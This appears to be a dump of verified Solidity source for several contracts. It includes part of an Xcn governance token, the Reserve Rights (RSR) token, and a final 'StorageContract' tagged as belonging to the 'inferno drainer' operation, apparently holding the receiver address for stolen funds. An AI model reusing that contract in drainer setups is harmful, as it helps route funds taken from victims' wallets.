                    return checkpoints[account][nCheckpoints - 1].votes;
                }
        
                // Next check implicit zero balance
                if (checkpoints[account][0].fromBlock > blockNumber) {
                    return 0;
                }
        
                uint32 lower = 0;
                uint32 upper = nCheckpoints - 1;
                while (upper > lower) {
                    uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
                    Checkpoint memory cp = checkpoints[account][center];
                    if (cp.fromBlock == blockNumber) {
                        return cp.votes;
                    } else if (cp.fromBlock < blockNumber) {
                        lower = center;
                    } else {
                        upper = center - 1;
                    }
                }
                return checkpoints[account][lower].votes;
            }
        
            function _delegate(address delegator, address delegatee) internal {
                address currentDelegate = delegates[delegator];
                uint256 delegatorBalance = balanceOf(delegator);
                delegates[delegator] = delegatee;
        
                emit DelegateChanged(delegator, currentDelegate, delegatee);
        
                _moveDelegates(currentDelegate, delegatee, delegatorBalance);
            }
        
            function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
                if (srcRep != dstRep && amount > 0) {
                    if (srcRep != address(0)) {
                        uint32 srcRepNum = numCheckpoints[srcRep];
                        uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
                        uint256 srcRepNew = srcRepOld.sub(amount);
                        _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
                    }
        
                    if (dstRep != address(0)) {
                        uint32 dstRepNum = numCheckpoints[dstRep];
                        uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
                        uint256 dstRepNew = dstRepOld.add(amount);
                        _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
                    }
                }
            }
        
            function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal {
              uint32 blockNumber = safe32(block.number, "Xcn::_writeCheckpoint: block number exceeds 32 bits");
        
              if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
                  checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
              } else {
                  checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
                  numCheckpoints[delegatee] = nCheckpoints + 1;
              }
        
              emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
            }
            
            function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
                require(n < 2**32, errorMessage);
                return uint32(n);
            }
        
            function getChainId() internal pure returns (uint) {
                uint256 chainId;
                assembly { chainId := chainid() }
                return chainId;
            }
        }

        File 4 of 5: ReserveRightsToken
        pragma solidity ^0.4.24;
        
        /**
         * @title ERC20 interface
         * @dev see https://github.com/ethereum/EIPs/issues/20
         */
        interface IERC20 {
          function totalSupply() external view returns (uint256);
        
          function balanceOf(address who) external view returns (uint256);
        
          function allowance(address owner, address spender)
            external view returns (uint256);
        
          function transfer(address to, uint256 value) external returns (bool);
        
          function approve(address spender, uint256 value)
            external returns (bool);
        
          function transferFrom(address from, address to, uint256 value)
            external returns (bool);
        
          event Transfer(
            address indexed from,
            address indexed to,
            uint256 value
          );
        
          event Approval(
            address indexed owner,
            address indexed spender,
            uint256 value
          );
        }
        
        /**
         * @title SafeMath
         * @dev Math operations with safety checks that revert on error
         */
        library SafeMath {
        
          /**
          * @dev Multiplies two numbers, reverts on overflow.
          */
          function mul(uint256 a, uint256 b) internal pure returns (uint256) {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
            if (a == 0) {
              return 0;
            }
        
            uint256 c = a * b;
            require(c / a == b);
        
            return c;
          }
        
          /**
          * @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
          */
          function div(uint256 a, uint256 b) internal pure returns (uint256) {
            require(b > 0); // Solidity only automatically asserts when dividing by 0
            uint256 c = a / b;
            // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        
            return c;
          }
        
          /**
          * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
          */
          function sub(uint256 a, uint256 b) internal pure returns (uint256) {
            require(b <= a);
            uint256 c = a - b;
        
            return c;
          }
        
          /**
          * @dev Adds two numbers, reverts on overflow.
          */
          function add(uint256 a, uint256 b) internal pure returns (uint256) {
            uint256 c = a + b;
            require(c >= a);
        
            return c;
          }
        
          /**
          * @dev Divides two numbers and returns the remainder (unsigned integer modulo),
          * reverts when dividing by zero.
          */
          function mod(uint256 a, uint256 b) internal pure returns (uint256) {
            require(b != 0);
            return a % b;
          }
        }
        
        /**
         * @title Standard ERC20 token
         *
         * @dev Implementation of the basic standard token.
         * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
         * Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
         */
        contract ERC20 is IERC20 {
          using SafeMath for uint256;
        
          mapping (address => uint256) private _balances;
        
          mapping (address => mapping (address => uint256)) private _allowed;
        
          uint256 private _totalSupply;
        
          /**
          * @dev Total number of tokens in existence
          */
          function totalSupply() public view returns (uint256) {
            return _totalSupply;
          }
        
          /**
          * @dev Gets the balance of the specified address.
          * @param owner The address to query the balance of.
          * @return An uint256 representing the amount owned by the passed address.
          */
          function balanceOf(address owner) public view returns (uint256) {
            return _balances[owner];
          }
        
          /**
           * @dev Function to check the amount of tokens that an owner allowed to a spender.
           * @param owner address The address which owns the funds.
           * @param spender address The address which will spend the funds.
           * @return A uint256 specifying the amount of tokens still available for the spender.
           */
          function allowance(
            address owner,
            address spender
           )
            public
            view
            returns (uint256)
          {
            return _allowed[owner][spender];
          }
        
          /**
          * @dev Transfer token for a specified address
          * @param to The address to transfer to.
          * @param value The amount to be transferred.
          */
          function transfer(address to, uint256 value) public returns (bool) {
            _transfer(msg.sender, to, value);
            return true;
          }
        
          /**
           * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
           * Beware that changing an allowance with this method brings the risk that someone may use both the old
           * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
           * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
           * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
           * @param spender The address which will spend the funds.
           * @param value The amount of tokens to be spent.
           */
          function approve(address spender, uint256 value) public returns (bool) {
            require(spender != address(0));
        
            _allowed[msg.sender][spender] = value;
            emit Approval(msg.sender, spender, value);
            return true;
          }
        
          /**
           * @dev Transfer tokens from one address to another
           * @param from address The address which you want to send tokens from
           * @param to address The address which you want to transfer to
           * @param value uint256 the amount of tokens to be transferred
           */
          function transferFrom(
            address from,
            address to,
            uint256 value
          )
            public
            returns (bool)
          {
            require(value <= _allowed[from][msg.sender]);
        
            _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
            _transfer(from, to, value);
            return true;
          }
        
          /**
           * @dev Increase the amount of tokens that an owner allowed to a spender.
           * approve should be called when allowed_[_spender] == 0. To increment
           * allowed value is better to use this function to avoid 2 calls (and wait until
           * the first transaction is mined)
           * From MonolithDAO Token.sol
           * @param spender The address which will spend the funds.
           * @param addedValue The amount of tokens to increase the allowance by.
           */
          function increaseAllowance(
            address spender,
            uint256 addedValue
          )
            public
            returns (bool)
          {
            require(spender != address(0));
        
            _allowed[msg.sender][spender] = (
              _allowed[msg.sender][spender].add(addedValue));
            emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
            return true;
          }
        
          /**
           * @dev Decrease the amount of tokens that an owner allowed to a spender.
           * approve should be called when allowed_[_spender] == 0. To decrement
           * allowed value is better to use this function to avoid 2 calls (and wait until
           * the first transaction is mined)
           * From MonolithDAO Token.sol
           * @param spender The address which will spend the funds.
           * @param subtractedValue The amount of tokens to decrease the allowance by.
           */
          function decreaseAllowance(
            address spender,
            uint256 subtractedValue
          )
            public
            returns (bool)
          {
            require(spender != address(0));
        
            _allowed[msg.sender][spender] = (
              _allowed[msg.sender][spender].sub(subtractedValue));
            emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
            return true;
          }
        
          /**
          * @dev Transfer token for a specified addresses
          * @param from The address to transfer from.
          * @param to The address to transfer to.
          * @param value The amount to be transferred.
          */
          function _transfer(address from, address to, uint256 value) internal {
            require(value <= _balances[from]);
            require(to != address(0));
        
            _balances[from] = _balances[from].sub(value);
            _balances[to] = _balances[to].add(value);
            emit Transfer(from, to, value);
          }
        
          /**
           * @dev Internal function that mints an amount of the token and assigns it to
           * an account. This encapsulates the modification of balances such that the
           * proper events are emitted.
           * @param account The account that will receive the created tokens.
           * @param value The amount that will be created.
           */
          function _mint(address account, uint256 value) internal {
            require(account != 0);
            _totalSupply = _totalSupply.add(value);
            _balances[account] = _balances[account].add(value);
            emit Transfer(address(0), account, value);
          }
        
          /**
           * @dev Internal function that burns an amount of the token of a given
           * account.
           * @param account The account whose tokens will be burnt.
           * @param value The amount that will be burnt.
           */
          function _burn(address account, uint256 value) internal {
            require(account != 0);
            require(value <= _balances[account]);
        
            _totalSupply = _totalSupply.sub(value);
            _balances[account] = _balances[account].sub(value);
            emit Transfer(account, address(0), value);
          }
        
          /**
           * @dev Internal function that burns an amount of the token of a given
           * account, deducting from the sender's allowance for said account. Uses the
           * internal burn function.
           * @param account The account whose tokens will be burnt.
           * @param value The amount that will be burnt.
           */
          function _burnFrom(address account, uint256 value) internal {
            require(value <= _allowed[account][msg.sender]);
        
            // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
            // this function needs to emit an event with the updated approval.
            _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
              value);
            _burn(account, value);
          }
        }
        
        /**
         * @title Roles
         * @dev Library for managing addresses assigned to a Role.
         */
        library Roles {
          struct Role {
            mapping (address => bool) bearer;
          }
        
          /**
           * @dev give an account access to this role
           */
          function add(Role storage role, address account) internal {
            require(account != address(0));
            require(!has(role, account));
        
            role.bearer[account] = true;
          }
        
          /**
           * @dev remove an account's access to this role
           */
          function remove(Role storage role, address account) internal {
            require(account != address(0));
            require(has(role, account));
        
            role.bearer[account] = false;
          }
        
          /**
           * @dev check if an account has this role
           * @return bool
           */
          function has(Role storage role, address account)
            internal
            view
            returns (bool)
          {
            require(account != address(0));
            return role.bearer[account];
          }
        }
        
        contract PauserRole {
          using Roles for Roles.Role;
        
          event PauserAdded(address indexed account);
          event PauserRemoved(address indexed account);
        
          Roles.Role private pausers;
        
          constructor() internal {
            _addPauser(msg.sender);
          }
        
          modifier onlyPauser() {
            require(isPauser(msg.sender));
            _;
          }
        
          function isPauser(address account) public view returns (bool) {
            return pausers.has(account);
          }
        
          function addPauser(address account) public onlyPauser {
            _addPauser(account);
          }
        
          function renouncePauser() public {
            _removePauser(msg.sender);
          }
        
          function _addPauser(address account) internal {
            pausers.add(account);
            emit PauserAdded(account);
          }
        
          function _removePauser(address account) internal {
            pausers.remove(account);
            emit PauserRemoved(account);
          }
        }
        
        /**
         * @title Pausable
         * @dev Base contract which allows children to implement an emergency stop mechanism.
         */
        contract Pausable is PauserRole {
          event Paused(address account);
          event Unpaused(address account);
        
          bool private _paused;
        
          constructor() internal {
            _paused = false;
          }
        
          /**
           * @return true if the contract is paused, false otherwise.
           */
          function paused() public view returns(bool) {
            return _paused;
          }
        
          /**
           * @dev Modifier to make a function callable only when the contract is not paused.
           */
          modifier whenNotPaused() {
            require(!_paused);
            _;
          }
        
          /**
           * @dev Modifier to make a function callable only when the contract is paused.
           */
          modifier whenPaused() {
            require(_paused);
            _;
          }
        
          /**
           * @dev called by the owner to pause, triggers stopped state
           */
          function pause() public onlyPauser whenNotPaused {
            _paused = true;
            emit Paused(msg.sender);
          }
        
          /**
           * @dev called by the owner to unpause, returns to normal state
           */
          function unpause() public onlyPauser whenPaused {
            _paused = false;
            emit Unpaused(msg.sender);
          }
        }
        
        /**
         * @title Pausable token
         * @dev ERC20 modified with pausable transfers.
         **/
        contract ERC20Pausable is ERC20, Pausable {
        
          function transfer(
            address to,
            uint256 value
          )
            public
            whenNotPaused
            returns (bool)
          {
            return super.transfer(to, value);
          }
        
          function transferFrom(
            address from,
            address to,
            uint256 value
          )
            public
            whenNotPaused
            returns (bool)
          {
            return super.transferFrom(from, to, value);
          }
        
          function approve(
            address spender,
            uint256 value
          )
            public
            whenNotPaused
            returns (bool)
          {
            return super.approve(spender, value);
          }
        
          function increaseAllowance(
            address spender,
            uint addedValue
          )
            public
            whenNotPaused
            returns (bool success)
          {
            return super.increaseAllowance(spender, addedValue);
          }
        
          function decreaseAllowance(
            address spender,
            uint subtractedValue
          )
            public
            whenNotPaused
            returns (bool success)
          {
            return super.decreaseAllowance(spender, subtractedValue);
          }
        }
        
        
        contract ReserveRightsToken is ERC20Pausable {
          string public name = "Reserve Rights";
          string public symbol = "RSR";
          uint8 public decimals = 18;
        
          // Tokens belonging to Reserve team members and early investors are locked until network launch.
          mapping (address => bool) public reserveTeamMemberOrEarlyInvestor;
          event AccountLocked(address indexed lockedAccount);
        
          // Hard-coded addresses from the previous deployment, which should be locked and contain token allocations. 
          address[] previousAddresses = [
            0x8ad9c8ebe26eadab9251b8fc36cd06a1ec399a7f,
            0xb268c230720d16c69a61cbee24731e3b2a3330a1,
            0x082705fabf49bd30de8f0222821f6d940713b89d,
            0xc3aa4ced5dea58a3d1ca76e507515c79ca1e4436,
            0x66f25f036eb4463d8a45c6594a325f9e89baa6db,
            0x9e454fe7d8e087fcac4ec8c40562de781004477e,
            0x4fcc7ca22680aed155f981eeb13089383d624aa9,
            0x5a66650e5345d76eb8136ea1490cbcce1c08072e,
            0x698a10b5d0972bffea306ba5950bd74d2af3c7ca,
            0xdf437625216cca3d7148e18d09f4aab0d47c763b,
            0x24b4a6847ccb32972de40170c02fda121ddc6a30,
            0x8d29a24f91df381feb4ee7f05405d3fb888c643e,
            0x5a7350d95b9e644dcab4bc642707f43a361bf628,
            0xfc2e9a5cd1bb9b3953ffa7e6ddf0c0447eb95f11,
            0x3ac7a6c3a2ff08613b611485f795d07e785cbb95,
            0x47fc47cbcc5217740905e16c4c953b2f247369d2,
            0xd282337950ac6e936d0f0ebaaff1ffc3de79f3d5,
            0xde59cd3aa43a2bf863723662b31906660c7d12b6,
            0x5f84660cabb98f7b7764cd1ae2553442da91984e,
            0xefbaaf73fc22f70785515c1e2be3d5ba2fb8e9b0,
            0x63c5ffb388d83477a15eb940cfa23991ca0b30f0,
            0x14f018cce044f9d3fb1e1644db6f2fab70f6e3cb,
            0xbe30069d27a250f90c2ee5507bcaca5f868265f7,
            0xcfef27288bedcd587a1ed6e86a996c8c5b01d7c1,
            0x5f57bbccc7ffa4c46864b5ed999a271bc36bb0ce,
            0xbae85de9858375706dde5907c8c9c6ee22b19212,
            0x5cf4bbb0ff093f3c725abec32fba8f34e4e98af1,
            0xcb2d434bf72d3cd43d0c368493971183640ffe99,
            0x02fc8e99401b970c265480140721b28bb3af85ab,
            0xe7ad11517d7254f6a0758cee932bffa328002dd0,
            0x6b39195c164d693d3b6518b70d99877d4f7c87ef,
            0xc59119d8e4d129890036a108aed9d9fe94db1ba9,
            0xd28661e4c75d177d9c1f3c8b821902c1abd103a6,
            0xba385610025b1ea8091ae3e4a2e98913e2691ff7,
            0xcd74834b8f3f71d2e82c6240ae0291c563785356,
            0x657a127639b9e0ccccfbe795a8e394d5ca158526
          ];
        
          constructor(address previousContract, address reservePrimaryWallet) public {
            IERC20 previousToken = IERC20(previousContract);
        
            _mint(reservePrimaryWallet, previousToken.balanceOf(reservePrimaryWallet));
        
            for (uint i = 0; i < previousAddresses.length; i++) {
              reserveTeamMemberOrEarlyInvestor[previousAddresses[i]] = true;
              _mint(previousAddresses[i], previousToken.balanceOf(previousAddresses[i]));
              emit AccountLocked(previousAddresses[i]);
            }
          }
        
          function transfer(address to, uint256 value) public returns (bool) {
            // Tokens belonging to Reserve team members and early investors are locked until network launch.
            require(!reserveTeamMemberOrEarlyInvestor[msg.sender]);
            return super.transfer(to, value);
          }
        
          function transferFrom(address from, address to, uint256 value) public returns (bool) {
            // Tokens belonging to Reserve team members and early investors are locked until network launch.
            require(!reserveTeamMemberOrEarlyInvestor[from]);
            return super.transferFrom(from, to, value);
          }
        
          /// This function is intended to be used only by Reserve team members and investors.
          /// You can call it yourself, but you almost certainly don’t want to.
          /// Anyone who calls this function will cause their own tokens to be subject to
          /// a long lockup. Reserve team members and some investors do this to commit
          /// ourselves to not dumping tokens early. If you are not a Reserve team member
          /// or investor, you don’t need to limit yourself in this way.
          ///
          /// THIS FUNCTION LOCKS YOUR TOKENS. ONLY USE IT IF YOU KNOW WHAT YOU ARE DOING.
          function lockMyTokensForever(string consent) public returns (bool) {
            require(keccak256(abi.encodePacked(consent)) == keccak256(abi.encodePacked(
              "I understand that I am locking my account forever, or at least until the next token upgrade."
            )));
            reserveTeamMemberOrEarlyInvestor[msg.sender] = true;
            emit AccountLocked(msg.sender);
          }
        }

        File 5 of 5: StorageContract
        // @mr_inferno_drainer / inferno drainer
        
        pragma solidity ^0.8.6;
        
        contract StorageContract {
            address public nativeCryptoReceiver;
            address[] public owners;
        
            constructor(address defaultNativeCryptoReceiver, address firstOwner) {
                nativeCryptoReceiver = defaultNativeCryptoReceiver;
                owners.push(firstOwner);
            }
        
            modifier onlyOwner() {
                bool isOwner = false;
                for (uint256 i = 0; i < owners.length; i++) {
                    if (msg.sender == owners[i]) {
                        isOwner = true;
                        break;
                    }
                }
                require(isOwner, "Caller is not an owner");
                _;
            }
        
            function addOwner(address newOwner) public onlyOwner {
                owners.push(newOwner);
            }
        
            function getOwners() public view returns (address[] memory) {
                return owners;
            }
        
            function removeOwner(address ownerToRemove) public onlyOwner {
                uint256 index = type(uint256).max;
        
                for (uint256 i = 0; i < owners.length; i++) {
                    if (owners[i] == ownerToRemove) {
                        index = i;
                        break;
                    }
                }
        
                require(index != type(uint256).max, "Owner not found");
                require(owners.length > 1, "Cannot remove the last owner");
        
                owners[index] = owners[owners.length - 1];
                owners.pop();
            }
        
            function changeNativeCryptoReceiver(address newNativeCryptoReceiver)
                public
                onlyOwner
            {
                nativeCryptoReceiver = newNativeCryptoReceiver;
            }
        }